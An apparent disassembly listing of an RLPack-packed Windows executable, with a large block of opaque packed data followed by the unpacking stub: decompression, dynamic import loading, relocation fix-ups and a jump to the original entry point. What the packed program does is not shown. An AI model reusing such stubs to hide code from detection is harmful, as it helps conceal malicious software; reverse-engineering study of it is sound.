		dd 79736106h, 97D6F51Ch, 0BE34A3C4h, 6462691Ah,	1F755A85h
		dd 233C6456h, 9017A2CCh, 61BE89C0h, 706AE08Ah, 333D6A3Ch
		dd 299D69A2h, 6694003Ch, 5DA67974h, 5D342DA5h, 7FA76869h
		dd 5FE96871h, 1FA46853h, 0E245CA4Fh, 0C8BD4526h, 2F0A93D8h
		dd 2F0CE362h, 2B552873h, 4F114153h, 1236EBFAh, 67615AA8h
		dd 0D4A538A7h, 23D96F24h, 6D099268h, 97D89AFAh,	3F8DACB9h
		dd 0B874C202h, 632199EFh, 0B909F87Ah, 3AA631B1h, 2202BA4Dh
		dd 3C53BD79h, 0D15AD048h, 85CEA198h, 20555043h,	34364993h
		dd 484D7506h, 97222E7Ah, 1109E562h, 0D92793F6h,	7F196D16h
		dd 7D3D375Ah, 0F8B3D3AEh, 37A6B933h, 0E8323411h, 0BAF3A4DDh
		dd 44062E36h, 9C75422Ch, 291AE421h, 0BECAD049h,	0CB4122F7h
		dd 667F481Dh, 293BF359h, 0D72BA58Fh, 89561132h,	0FEAD2923h
		dd 40CA37Bh, 2C6D6954h,	74702B55h, 0CD4AB80Eh, 968079D4h
		dd 0B05E50F3h, 75482DCAh, 414C0CCBh, 0EB2F384Eh, 60E60455h
		dd 0AAD70052h, 0E1800A11h, 0F2755049h, 4356F96Bh, 6807B4A7h
		dd 0DD2B2F2Ah, 55BA706Fh, 75EEAF0Dh, 42AF7435h,	73CB7C46h
		dd 0CE34694Fh, 78BB8DBFh, 3C2E8AE7h, 0ED5156DAh, 5A581F59h
		dd 0D3721E2Dh, 0A4DEB95Eh, 0BC5A846Eh, 7869E498h, 0D0ACF33Ah
		dd 3FF3004h, 0E0CDDDFDh, 43C5383Ch, 30093432h, 20482824h
		dd 3FC301A1h, 75081017h, 1C732298h, 11420130h, 1B3FC660h
		dd 5200E20h, 1151993h, 41E8C0B0h, 0E03890BDh, 0E14F703Ah
		dd 0FC2E084Dh, 8510F367h, 3004017Dh, 0E48AF6BBh, 7A23201Dh
		dd 0C4750115h, 342252FFh, 0FD049B04h, 4C18012Ch, 1031E4CEh
		dd 36CDFC09h, 34400AECh, 56DE4C4Fh, 88CA2070h, 458D910h
		dd 10B0E87Eh, 8A84236h,	45541C78h, 858E9004h, 39F019ECh
		dd 195C2F1h, 5C495555h,	1E08E1Ch, 877FF812h, 4CA3CAEh
		dd 0BE2002B2h, 0DF284202h, 48705EA1h, 84B21047h, 4522A317h
		dd 1022C81h, 401CFA85h,	0C8028252h, 3CA35F02h, 182A2013h
		dd 99EA4EAFh, 0DC08001Ch, 0CCE043D1h, 3FF09CCh,	4021C01h
		dd 0A4302208h, 82600803h, 0A621E479h, 0DFA62930h, 0A5A10808h
		dd 0E09F81C0h, 401084FCh, 0A8CC807Eh, 0A339C161h, 0A85C49DAh
		dd 29FE4681h, 0B5940840h, 4123BB30h, 0CF0EB691h, 1A4EE4A2h
		dd 0E8CFE50Eh, 81D65B08h, 0A51A190h, 98E0551h, 0C0595EDAh
		dd 0E16AD95Fh, 0D3800B32h, 0F9E0DED8h, 0D47E3180h, 16A21074h
		dd 0E574D429h, 4083203h, 5481824h, 6220D91h, 89070944h
		dd 3908120Ch, 0A60A1C09h, 0CA0B431Ch, 8683C16h,	0CA580F14h
		dd 11641410h, 6804124Ah, 0CA211118h, 41641035h,	50394372h
		dd 0A652344Ch, 8535318h, 94605729h, 6CCA7C59h, 8D6D6518h
		dd 700299EEh, 72121C09h, 4C06ACB9h, 0B4AE8030h,	29088153h
		dd 83912082h, 644884CAh, 94294891h, 0A1CA109Eh,	32A4E590h
		dd 0B739A770h, 0A6CEA05Ch, 12D74720h, 0C600718h, 222D0920h
		dd 27E95D0Dh, 9143188h,	0DE43D2E8h, 0E411221Dh,	89E01A44h
		dd 24D8121Bh, 91D0481Fh, 44C82213h, 0E89C021h, 7428B812h
		dd 9910B01Ah, 0C4E3A858h, 1053A033h, 119832B0h,	4894241Eh
		dd 22909112h, 0C8C4420h, 0B128489h, 15487C24h, 1C227491h
		dd 89196C44h, 24111264h, 9118485Ch, 44162254h, 4489174Ch
		dd 40242212h, 3C912348h, 38452422h, 70F00108h, 0F823867Fh
		dd 10EF14FFh, 0A20DBCD3h, 1008B080h, 1C1E144h, 80301458h
		dd 43522ED0h, 28E0F204h, 0D8600401h, 0FA14CD42h, 0A1574CE5h
		dd 0D8425784h, 0B086B0D3h, 671890E2h, 747419CCh, 4EEC8345h
		dd 0CC01029h, 114A8088h, 4620C4B4h, 0F0E7A808h,	0C4A01148h
		dd 38CC3970h, 540B53C0h, 4191D32h, 220F9639h, 2108478Dh
		dd 3C8FE48Eh, 91908790h, 431E92F2h, 0B903CB93h,	88677838h
		dd 129A2E48h, 90C9F815h, 5CD6C064h, 94CC6C43h, 68890911h
		dd 443B0F14h, 18106316h, 0E8C8D8C4h, 8F08D559h,	506316C4h
		dd 0D8D8C498h, 0F036F160h, 8059383Ch, 16463C9Ch, 1063D4C8h
		dd 7808C4A0h, 79119099h, 7A248012h, 0FC917048h,	0FF446C22h
		dd 1308A5Ch, 19E12694h,	0FC013551h, 0EE35CC42h,	0DC405208h
		dd 0C5F90326h, 18E44981h, 2044284Ch, 7080887Fh,	0F00C08B3h
		dd 265038F1h, 0FD145453h, 4044508Ah, 45540EFDh,	0EB74C834h
		dd 0B904D0Dh, 90104301h, 441E220Ch, 0C4935A3Bh,	0B5329791h
		dd 0F324D409h, 99D5114Ah, 124E0930h, 0C434286Dh, 26B4A63Ah
		dd 0CC96477h, 89D309A4h, 321013F2h, 4D092F51h, 9CCA6C27h
		dd 0CE040AF0h, 614934A1h, 0D948ACC4h, 53450E78h, 89C0A50h
		dd 30353861h, 32312451h, 14F959E6h, 62882C0Bh, 46499444h
		dd 8C5305F5h, 2C780834h, 63428C0Ch, 520E8421h, 87C0A41h
		dd 0FF12C68h, 44846618h
		dd 53264970h, 8217C4Ch,	1DC42CA3h, 2264E437h, 0EE532460h
		dd 845851C2h, 2C115708h, 0EC1B2DE2h, 45215032h,	0DC5A5155h
		dd 49080AC4h, 48083138h, 64984D0Ch, 0A9BC11DDh,	1272DC58h
		dd 6DDC1E2Ch, 31114842h, 84B00BFBh, 634E0C07h, 114F3748h
		dd 0D454412h, 0D8112800h, 2CAF5455h, 39880991h,	45442044h
		dd 6414084Eh, 0A232B53h, 0FC88B021h, 6B4E45D8h,	2C0C29DCh
		dd 8ECB021h, 8A69DEF4h,	54584E41h, 30191064h, 472C089Ah
		dd 625937F0h, 91154D54h, 0B458900Ch, 58DCA80Ah,	5C454808h
		dd 8D341444h, 82D00832h, 1549522Ch, 58900C91h, 0C4580DB5h
		dd 5855D859h, 180A6285h, 86DAB82Ah, 5259BC34h, 9F1DC50h
		dd 606D151Ch, 21ACB002h, 3A46415Ah, 0AD3718B0h,	212C2158h
		dd 0DD56958h, 4FD85968h, 0C484A54Dh, 30D11E20h,	18C356A2h
		dd 4EF25976h, 4824C485h, 714FD134h, 7759BDACh, 28E24C42h
		dd 52D9DC28h, 0DC091471h, 1A2BC4E7h, 36592C0Ah,	6CDC81B0h
		dd 47524110h, 1F4C2CA5h, 0A8B0AD33h, 59646F00h,	0B855D01Eh
		dd 69A48B34h, 465CA802h, 0E6B085E4h, 1AE95938h,	54319258h
		dd 0E2525559h, 463C1117h, 105ACDB0h, 2C0ADC09h,	1AC00ED2h
		dd 36100761h, 30786104h, 0CDE03D2h, 1D7AF8BDh, 0B1DAAC35h
		dd 11A4EC4Ch, 10424847h, 14119C34h, 94287094h, 805A4C08h
		dd 94188C29h, 74C8087Ch, 0CAA4E97h, 48116803h, 28144B48h
		dd 5A50105Ch, 8A658C4h,	40404CF5h, 344408A6h, 6A9C9A50h
		dd 1CCF112Ch, 261C1E4Bh, 1110C628h, 0A0DC4FFCh,	0F4881029h
		dd 11E0C6D9h, 0C1F35471h, 0D0704CBCh, 2208D952h, 57A884C0h
		dd 0BC13B0B8h, 0AE7827DEh, 6408A80Ah, 1B887294h, 82804022h
		dd 7450C1A8h, 63081056h, 485A1170h, 50CC848Ch, 64349008h
		dd 0DCA01411h, 94185029h, 28CA103Ch, 35146420h,	98045C82h
		dd 0A4DDF048h, 8CE47860h, 308D455h, 22C5C8F0h, 8ACB460h
		dd 0CA86A850h, 92089880h, 840114Ah, 0F1749450h,	582A2866h
		dd 4CB0CA08h, 5340A808h, 34295840h, 5D249108h, 5D143C08h
		dd 593C9C60h, 0DCF085B8h, 0F1E018D8h, 0CC2AFC76h, 0B808CA08h
		dd 0A840B208h, 984008ACh, 8880118Ah, 543211BBh,	0F22F7C20h
		dd 868584Ah, 0AE375464h, 509F3C08h, 0C428D073h,	0AB18E4D8h
		dd 8202108h, 0DBF4A0B1h, 0E03C5466h, 0C48F645Dh, 0B4BC6316h
		dd 0A0E8D8C4h, 204B08AAh, 78DCD8C5h, 0A24808A9h, 0DC9808D0h
		dd 95085855h, 400844D0h, 76F13490h, 4D203C54h, 16108FA4h
		dd 0DAFC8861h, 0F80F0844h, 0E86313ECh, 0F898C5D8h, 0B33099C8h
		dd 63C5C0D0h, 98C4BCD8h, 18F1B830h, 2708A6B4h, 10984DF0h
		dd 20CCE028h, 89200924h, 2418121Ch, 91104814h, 0F8887008h
		dd 17EC81DFh, 22D891F8h, 0C4C844CCh, 0BC12C089h, 0B448B824h
		dd 0AC22B091h, 89A4A844h, 249C12A0h, 91884894h,	30782980h
		dd 68227091h, 89546044h, 2440124Ch, 91304834h, 4424222Ch
		dd 4B8B0810h, 0DD71AB03h, 0C0404EA0h, 0AF4F3744h, 337FE504h
		dd 6143A801h, 2A0C201h,	0C80CB840h, 0FA088705h,	9CC95B08h
		dd 50080B0Ch, 24580FC3h, 811242F4h, 16989680h, 0BC20040Ah
		dd 46019BEh, 1B10C9BFh,	0A181348Eh, 0ECCECCEDh,	4E7CD3C2h
		dd 9EF02000h, 0A82B70B5h, 9DC51FADh, 5DD00069h,	1AE525FDh
		dd 194F8E07h, 71C083EBh, 195D796h, 8D050E43h, 0F09EAF29h
		dd 0A003BFF9h, 1281ED44h, 0B982998Fh, 0D53CD8F3h, 0FFCF06A6h
		dd 7A781F49h, 0C6006FF8h, 80E98CE0h, 0BA47C9h, 0BC41A893h
		dd 27556B85h, 0F78D3901h, 427CE070h, 8EDDF0h, 0FB9DF9DEh
		dd 51AA7EEBh, 0E6A14300h, 0F2CCE376h, 842F0029h, 28442681h
		dd 0AA1D1710h, 0E343AEF8h, 0E0FAC4C5h, 3AD4A7EBh, 0E180F7F3h
		dd 0CF957A4Ah, 0CC006545h, 0A60E91C7h, 0F19A0AEh, 0D46A3E3h
		dd 750C17A0h, 76E68681h, 4D48C900h, 0A7E44258h,	3B390293h
		dd 0EDB2B835h, 0E5D08263h, 0C5733D5Dh, 9E0F8BFAh, 40FF5A92h
		dd 20A1F0A6h, 0A55400C0h, 0D161378Ch, 5A728BFDh, 5D25D800h
		dd 67DBF989h, 0F89501AAh, 0A2BF27F3h, 80DDF4C8h, 0C94C6E00h
		dd 8A20979Bh, 60520B02h, 0A4FC25C4h, 42CCCD43h,	0FB000104h
		dd 0A3D713Fh, 7050A3D7h, 5AF8F805h, 0DF3B6400h,	6E978D4Fh
		dd 0F5833E12h, 2CD3C300h, 58E21965h, 0D1B7170Fh, 0FD080F1h
		dd 72478423h, 0C5AC0F1Bh, 4080EEA7h, 6C69B6A6h,	0BD05AF03h
		dd 0E0EB8637h, 0BC3D33h, 0D5E57A42h, 0E7D6BF94h, 0FD71C2F8h
		dd 8461CE00h, 0ABCC7711h, 2FF8E4h, 4DE15B4Ch, 9594BEC4h
		dd 3CC9E63Eh, 3B530192h, 14CD4475h, 0F8AF9AF8h,	0BA6700DEh
		dd 0AD453994h, 0CF77B11Eh, 230F24F8h, 0E0BCE2C6h, 8B61313Bh
		dd 55D0F97Ah, 7EC10059h, 127C53B1h, 0D7F85FBBh,	8D2FEE00h
		dd 8592BE06h, 44FB3715h, 0E9A5E148h, 0EA27CC39h, 2A7C1998h
		dd 0A1AC7D00h, 7C64BCE4h, 0DDD00046h, 7B633E55h, 2300CC06h
		dd 0FF837754h, 0E63D8191h, 193A00FAh, 4325637Ah, 0AC00C031h
		dd 0D189213Ch, 38478238h, 0FD00B897h, 88DC3BD7h, 1B010858h
		dd 86E3E8B1h, 0C6F003A6h, 42450084h, 7599B607h,	2E01DB37h
		dd 1C71333Ah, 32E023D2h, 904900EEh, 87A6395Ah, 570FC0BEh
		dd 82A5DAh, 0E232B5A2h,	11B20068h, 449F52A7h, 1000B759h
		dd 0E449252Ch, 734362Dh, 0CEAE534Fh, 598FB06Bh,	0C000A404h
		dd 0FB7DC2DEh, 1EC6E8h,	5A88E79Eh, 0BF3C9157h, 22835000h
		dd 654B4E18h, 3FD7862h,	9406AF8Fh, 5C00117Dh, 0D2CE9FDEh
		dd 25DD04C8h, 4644D8A6h, 8E17C2Ch, 56413FE0h, 0BD784E65h
		dd 51F05E60h, 184FE340h, 0AA04EE4Ah, 88AF5F63h,	731A4028h
		dd 363C6474h, 0A86C4A38h, 0A42191F9h, 0A06F2039h, 66E85F4Ch
		dd 0ADE97BE7h, 0BEE42042h, 5F2F23E8h, 33D2A2DAh, 11EC8B5h
		dd 98BBh, 0C5000000h, 0ED445A3Eh, 56A71A03h, 0FB329E3h
		dd 4180090Bh, 245CD665h, 96E53EFh, 9401E217h, 5C09ABD2h
		dd 46860BCBh, 1A64AA24h, 0D840971Dh, 26EBD899h,	660ECDB4h
		dd 1295016h, 362D351Bh,	84CC9978h, 29CDE448h, 39782123h
		dd 0C12EB981h, 2548383Ch, 28444D82h, 2F23A05Dh,	0E8F83B11h
		dd 2AE528C1h
		db 75h,	82h, 0C7h

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_24		= dword	ptr -24h

; FUNCTION CHUNK AT 00521BC0 SIZE 00000110 BYTES

		pusha
		call	$+5
		mov	ebp, [esp+24h+var_24]
		add	esp, 4
		jmp	short loc_521734
; ---------------------------------------------------------------------------
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------

loc_521734:				; CODE XREF: start+Cj
		jmp	short loc_521739
; ---------------------------------------------------------------------------
		dw 5
		db 0
; ---------------------------------------------------------------------------

loc_521739:				; CODE XREF: start:loc_521734j
		lea	esi, [ebp+1F4Bh]
		lea	ebx, [ebp+314h]
		xor	edi, edi
		call	sub_52199A
		jmp	short loc_521751
; ---------------------------------------------------------------------------
		dw 11h
		db 0
; ---------------------------------------------------------------------------

loc_521751:				; CODE XREF: start+29j
		jmp	short loc_521756
; ---------------------------------------------------------------------------
		db 0Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_521756:				; CODE XREF: start:loc_521751j
		jmp	short loc_521767
; ---------------------------------------------------------------------------

loc_521758:				; CODE XREF: start+48j
		push	dword ptr [edi+esi+4]
		push	dword ptr [edi+esi]
		call	ebx	; CloseHandle
		add	esp, 8
		add	edi, 8

loc_521767:				; CODE XREF: start:loc_521756j
		cmp	dword ptr [edi+esi], 0
		jnz	short loc_521758
		lea	esi, [edi+esi+4]
		cmp	dword ptr [ebp+1C63h], 1
		jnz	short loc_5217BE
		xor	edi, edi
		pusha
		jmp	short loc_5217AE
; ---------------------------------------------------------------------------

loc_52177F:				; CODE XREF: start+8Dj
		mov	eax, [esi]
		mov	ebx, [esi+4]
		mov	edx, [esi+8]
		call	sub_521982
		lea	ecx, [ebp+19B2h]
		push	ecx
		or	edx, edx
		jnz	short loc_52179B
		push	20h
		jmp	short loc_52179D
; ---------------------------------------------------------------------------

loc_52179B:				; CODE XREF: start+72j
		push	40h

loc_52179D:				; CODE XREF: start+76j
		push	eax
		push	ebx
		call	dword ptr [ebp+402h]
		add	esi, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jnz	short loc_5217AE
		inc	edi

loc_5217AE:				; CODE XREF: start+5Aj	start+88j
		or	edi, edi
		jz	short loc_52177F
		add	esi, 4
		mov	[esp+40h+var_24], esi
		popa
		mov	esi, eax
		jmp	short loc_5217C1
; ---------------------------------------------------------------------------

loc_5217BE:				; CODE XREF: start+55j
		add	esi, 8

loc_5217C1:				; CODE XREF: start+99j
		mov	eax, [esi]
		mov	[ebp+1412h], eax
		add	esi, 4
		call	sub_522A5D
		add	esi, 4
		push	ebx
		push	40h
		push	1000h
		push	8FCh
		push	0
		call	dword ptr [ebp+3FAh]
		mov	[ebp+1F47h], eax
		pop	ebx
		push	dword ptr [ebp+1F47h]
		push	esi
		call	ebx	; CloseHandle
		add	esp, 8
		jmp	short loc_521801
; ---------------------------------------------------------------------------
		dw 11h
		db 0
; ---------------------------------------------------------------------------

loc_521801:				; CODE XREF: start+D9j
		call	sub_522390
		cmp	dword ptr [ebp+1A63h], 0
		jz	short loc_521822
		cmp	dword ptr [ebp+199Eh], 0
		jz	short loc_521822
		call	sub_52264B
		call	sub_5224E8

loc_521822:				; CODE XREF: start+EAj	start+F3j
		mov	esi, [ebp+1F47h]
		mov	eax, esi
		jmp	short loc_52182D
; ---------------------------------------------------------------------------

loc_52182C:				; CODE XREF: start+10Dj
		inc	eax

loc_52182D:				; CODE XREF: start+107j
		cmp	byte ptr [eax],	1
		jnz	short loc_52182C
		inc	eax
		mov	edi, [eax]
		call	sub_521966
		add	eax, 4
		mov	[ebp+1F43h], eax
		jmp	loc_5218F9
; ---------------------------------------------------------------------------

loc_521848:				; CODE XREF: start+1D9j
		call	sub_521B9C
		push	esi
		call	dword ptr [ebp+406h]
		test	eax, eax
		jz	loc_521BD7
		mov	[ebp+1F3Fh], eax
		mov	eax, esi
		jmp	short loc_5218DA
; ---------------------------------------------------------------------------

loc_521866:				; CODE XREF: start+1B5j start+1BAj
		mov	eax, [ebp+1F43h]
		mov	eax, [eax]
		test	eax, 80000000h
		jz	short loc_52188F
		xor	eax, 80000000h
		push	eax
		mov	[ebp+140Ah], eax
		mov	eax, [ebp+1F43h]
		mov	dword ptr [eax], 202020h
		jmp	short loc_521895
; ---------------------------------------------------------------------------

loc_52188F:				; CODE XREF: start+150j
		push	dword ptr [ebp+1F43h]

loc_521895:				; CODE XREF: start+16Aj
		push	dword ptr [ebp+1F3Fh]
		call	dword ptr [ebp+3F6h]
		test	eax, eax
		jz	loc_521BC0
		jmp	short loc_5218AE
; ---------------------------------------------------------------------------
		db 0Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5218AE:				; CODE XREF: start+186j
		mov	dword ptr [ebp+140Ah], 0
		mov	[edi], eax
		add	edi, 4
		mov	eax, [ebp+1F43h]
		jmp	short loc_5218C6
; ---------------------------------------------------------------------------

loc_5218C5:				; CODE XREF: start+1A6j
		inc	eax

loc_5218C6:				; CODE XREF: start+1A0j
		cmp	byte ptr [eax],	0
		jnz	short loc_5218C5
		inc	eax
		mov	[ebp+1F43h], eax
		test	dword ptr [eax], 80000000h
		jnz	short loc_521866

loc_5218DA:				; CODE XREF: start+141j
		cmp	byte ptr [eax],	0
		jnz	short loc_521866
		jmp	short loc_5218E2
; ---------------------------------------------------------------------------

loc_5218E1:				; CODE XREF: start+1C2j
		inc	esi

loc_5218E2:				; CODE XREF: start+1BCj
		cmp	byte ptr [esi],	0
		jnz	short loc_5218E1
		inc	esi
		inc	eax
		mov	edi, [eax]
		call	sub_521966
		add	eax, 4
		mov	[ebp+1F43h], eax

loc_5218F9:				; CODE XREF: start+120j
		cmp	byte ptr [esi],	1
		jnz	loc_521848
		push	4000h
		push	8FCh
		push	dword ptr [ebp+1F47h]
		call	dword ptr [ebp+3FEh]
		jmp	short loc_52191D
; ---------------------------------------------------------------------------
		dw 5
		db 0
; ---------------------------------------------------------------------------

loc_52191D:				; CODE XREF: start+1F5j
		call	sub_5219C9
		popa
		jmp	sub_422100
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_521928	proc near		; CODE XREF: .RLPack:00521CFBp

arg_48		= dword	ptr  4Ch

		cmp	dword ptr [ebp+13FEh], 0
		jz	short locret_521947
		sub	eax, [ebp+13F6h]
		add	eax, [esp+arg_48]
		push	eax
		mov	eax, [esp+4+arg_48]
		mov	[ebp+13FAh], eax
		pop	eax

locret_521947:				; CODE XREF: sub_521928+7j
		retn
sub_521928	endp


; =============== S U B	R O U T	I N E =======================================



sub_521948	proc near		; CODE XREF: .RLPack:00521D50p
					; .RLPack:00521D62p ...
		push	esi
		mov	esi, [eax+0B4h]
		cmp	dword ptr [esi+13FEh], 0
		jz	short loc_521964
		sub	ecx, [esi+13F6h]
		add	ecx, [esi+13FAh]

loc_521964:				; CODE XREF: sub_521948+Ej
		pop	esi
		retn
sub_521948	endp


; =============== S U B	R O U T	I N E =======================================



sub_521966	proc near		; CODE XREF: start+112p start+1C8p

arg_24		= dword	ptr  28h

		push	eax
		push	ebx
		cmp	dword ptr [ebp+13FEh], 0
		jz	short loc_52197F
		mov	eax, [ebp+13F6h]
		mov	ebx, [esp+8+arg_24]
		sub	edi, eax
		add	edi, ebx

loc_52197F:				; CODE XREF: sub_521966+9j
		pop	ebx
		pop	eax
		retn
sub_521966	endp


; =============== S U B	R O U T	I N E =======================================



sub_521982	proc near		; CODE XREF: start+64p

arg_44		= dword	ptr  48h

		push	eax
		cmp	dword ptr [ebp+13FEh], 0
		jz	short loc_521998
		mov	eax, [ebp+13F6h]
		sub	ebx, eax
		add	ebx, [esp+4+arg_44]

loc_521998:				; CODE XREF: sub_521982+8j
		pop	eax
		retn
sub_521982	endp


; =============== S U B	R O U T	I N E =======================================



sub_52199A	proc near		; CODE XREF: start+24p

arg_24		= dword	ptr  28h

		pusha
		cmp	dword ptr [ebp+13FEh], 0
		jz	short loc_5219C7
		mov	eax, [ebp+13F6h]
		mov	ebx, [esp+20h+arg_24]
		jmp	short loc_5219C1
; ---------------------------------------------------------------------------

loc_5219B0:				; CODE XREF: sub_52199A+2Bj
		sub	[edi+esi+4], eax
		add	[edi+esi+4], ebx
		sub	[edi+esi], eax
		add	[edi+esi], ebx
		add	edi, 8

loc_5219C1:				; CODE XREF: sub_52199A+14j
		cmp	dword ptr [edi+esi], 0
		jnz	short loc_5219B0

loc_5219C7:				; CODE XREF: sub_52199A+8j
		popa
		retn
sub_52199A	endp


; =============== S U B	R O U T	I N E =======================================



sub_5219C9	proc near		; CODE XREF: start:loc_52191Dp

arg_24		= dword	ptr  28h

		pusha
		mov	esi, [ebp+13FEh]
		or	esi, esi
		jz	short loc_521A3B
		mov	edi, [ebp+13F6h]
		mov	eax, [esp+20h+arg_24]
		mov	[ebp+13FAh], eax
		cmp	eax, edi
		jz	short loc_521A3B
		add	esi, eax
		jmp	short loc_521A36
; ---------------------------------------------------------------------------

loc_5219EC:				; CODE XREF: sub_5219C9+70j
		mov	edx, [esi]
		mov	eax, [esi+4]
		mov	[ebp+1402h], eax
		add	[ebp+1402h], esi
		add	esi, 8
		jmp	short loc_521A2E
; ---------------------------------------------------------------------------

loc_521A02:				; CODE XREF: sub_5219C9+6Bj
		movzx	eax, word ptr [esi]
		mov	ebx, eax
		shr	ebx, 0Ch
		mov	ecx, ebx
		imul	ebx, 1000h
		sub	eax, ebx
		add	eax, edx
		add	eax, [ebp+13FAh]
		cmp	ecx, 3
		jnz	short loc_521A2B
		sub	[eax], edi
		mov	ecx, [ebp+13FAh]
		add	[eax], ecx

loc_521A2B:				; CODE XREF: sub_5219C9+56j
		add	esi, 2

loc_521A2E:				; CODE XREF: sub_5219C9+37j
		cmp	esi, [ebp+1402h]
		jb	short loc_521A02

loc_521A36:				; CODE XREF: sub_5219C9+21j
		cmp	dword ptr [esi], 0
		jnz	short loc_5219EC

loc_521A3B:				; CODE XREF: sub_5219C9+9j
					; sub_5219C9+1Dj
		popa
		retn
sub_5219C9	endp

; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		mov	edi, [esp+28h]
		cld
		mov	dl, 80h
		xor	ebx, ebx

loc_521A4B:				; CODE XREF: .RLPack:00521A53j
		movsb
		mov	bl, 2

loc_521A4E:				; CODE XREF: .RLPack:00521A78j
					; .RLPack:00521ABEj
		call	sub_521AC0
		jnb	short loc_521A4B
		xor	ecx, ecx
		call	sub_521AC0
		jnb	short loc_521A7A
		xor	eax, eax
		call	sub_521AC0
		jnb	short loc_521A8A
		mov	bl, 2
		inc	ecx
		mov	al, 10h

loc_521A6C:				; CODE XREF: .RLPack:00521A73j
		call	sub_521AC0
		adc	al, al
		jnb	short loc_521A6C
		jnz	short loc_521AB6
		stosb
		jmp	short loc_521A4E
; ---------------------------------------------------------------------------

loc_521A7A:				; CODE XREF: .RLPack:00521A5Cj
		call	sub_521ACC
		sub	ecx, ebx
		jnz	short loc_521A93
		call	sub_521ACA
		jmp	short loc_521AB2
; ---------------------------------------------------------------------------

loc_521A8A:				; CODE XREF: .RLPack:00521A65j
		lodsb
		shr	eax, 1
		jz	short loc_521ADC
		adc	ecx, ecx
		jmp	short loc_521AAF
; ---------------------------------------------------------------------------

loc_521A93:				; CODE XREF: .RLPack:00521A81j
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		call	sub_521ACA
		cmp	eax, 7D00h
		jnb	short loc_521AAF
		cmp	ah, 5
		jnb	short loc_521AB0
		cmp	eax, 7Fh
		ja	short loc_521AB1

loc_521AAF:				; CODE XREF: .RLPack:00521A91j
					; .RLPack:00521AA3j
		inc	ecx

loc_521AB0:				; CODE XREF: .RLPack:00521AA8j
		inc	ecx

loc_521AB1:				; CODE XREF: .RLPack:00521AADj
		xchg	eax, ebp

loc_521AB2:				; CODE XREF: .RLPack:00521A88j
		mov	eax, ebp
		mov	bl, 1

loc_521AB6:				; CODE XREF: .RLPack:00521A75j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_521A4E

; =============== S U B	R O U T	I N E =======================================



sub_521AC0	proc near		; CODE XREF: .RLPack:loc_521A4Ep
					; .RLPack:00521A57p ...
		add	dl, dl
		jnz	short locret_521AC9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

locret_521AC9:				; CODE XREF: sub_521AC0+2j
		retn
sub_521AC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_521ACA	proc near		; CODE XREF: .RLPack:00521A83p
					; .RLPack:00521A99p
		xor	ecx, ecx
sub_521ACA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_521ACC	proc near		; CODE XREF: .RLPack:loc_521A7Ap
		inc	ecx

loc_521ACD:				; CODE XREF: sub_521ACC+Dj
		call	sub_521AC0
		adc	ecx, ecx
		call	sub_521AC0
		jb	short loc_521ACD
		retn
sub_521ACC	endp

; ---------------------------------------------------------------------------

loc_521ADC:				; CODE XREF: .RLPack:00521A8Dj
		sub	edi, [esp+28h]
		mov	[esp+1Ch], edi
		popa
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(0)
		dd 1B0E0000h, 1B1B0012h, 12h, 4	dup(0)
		dd 656B0000h, 6C656E72h, 642E3233h, 0D8006C6Ch,	0FD77E805h
		dd 0A77E7A5h, 3477E798h, 9A77E79Eh, 9377E616h, 77E79Fh
		dd 0
		dd 616F4C00h, 62694C64h, 79726172h, 47000041h, 72507465h
		dd 6441636Fh, 73657264h, 56000073h, 75747269h, 6C416C61h
		dd 636F6Ch, 72695600h, 6C617574h, 65657246h, 69560000h
		dd 61757472h, 6F72506Ch, 74636574h, 65470000h, 646F4D74h
		dd 48656C75h, 6C646E61h, 4165h,	1000h, 8

; =============== S U B	R O U T	I N E =======================================



sub_521B9C	proc near		; CODE XREF: start:loc_521848p
		push	edi
		push	esi
		mov	edi, esi
		jmp	short loc_521BA3
; ---------------------------------------------------------------------------

loc_521BA2:				; CODE XREF: sub_521B9C+Aj
		inc	esi

loc_521BA3:				; CODE XREF: sub_521B9C+4j
		cmp	byte ptr [esi],	0
		jnz	short loc_521BA2
		jmp	short loc_521BAB
; ---------------------------------------------------------------------------

loc_521BAA:				; CODE XREF: sub_521B9C+16j
		dec	esi

loc_521BAB:				; CODE XREF: sub_521B9C+Cj
		cmp	byte ptr [esi],	5Ch
		jz	short loc_521BB4
		cmp	esi, edi
		jnz	short loc_521BAA

loc_521BB4:				; CODE XREF: sub_521B9C+12j
		cmp	byte ptr [esi],	5Ch
		jnz	short loc_521BBD
		pop	edi
		inc	esi
		jmp	short loc_521BBE
; ---------------------------------------------------------------------------

loc_521BBD:				; CODE XREF: sub_521B9C+1Bj
		pop	esi

loc_521BBE:				; CODE XREF: sub_521B9C+1Fj
		pop	edi
		retn
sub_521B9C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_521BC0:				; CODE XREF: start+180j
		cmp	dword ptr [ebp+140Ah], 0
		jnz	short loc_521BD0
		mov	edi, 1
		jmp	short loc_521BD5
; ---------------------------------------------------------------------------

loc_521BD0:				; CODE XREF: start+4A4j
		mov	edi, 2

loc_521BD5:				; CODE XREF: start+4ABj
		jmp	short loc_521BD9
; ---------------------------------------------------------------------------

loc_521BD7:				; CODE XREF: start+133j
		xor	edi, edi

loc_521BD9:				; CODE XREF: start:loc_521BD5j
		push	40h
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp+3FAh]
		mov	[ebp+1F47h], eax
		lea	ebx, [ebp+1446h]
		push	ebx
		call	dword ptr [ebp+3F2h]
		push	eax
		cmp	dword ptr [ebp+1436h], 0ABBC680Dh
		jnz	short loc_521C1F
		push	dword ptr [ebp+1436h]
		push	eax
		call	sub_522ACA
		mov	[ebp+1436h], eax

loc_521C1F:				; CODE XREF: start+4E8j
		pop	eax
		cmp	dword ptr [ebp+1442h], 0EA3AF0D7h
		jnz	short loc_521C3E
		push	dword ptr [ebp+1442h]
		push	eax
		call	sub_522ACA
		mov	[ebp+1442h], eax

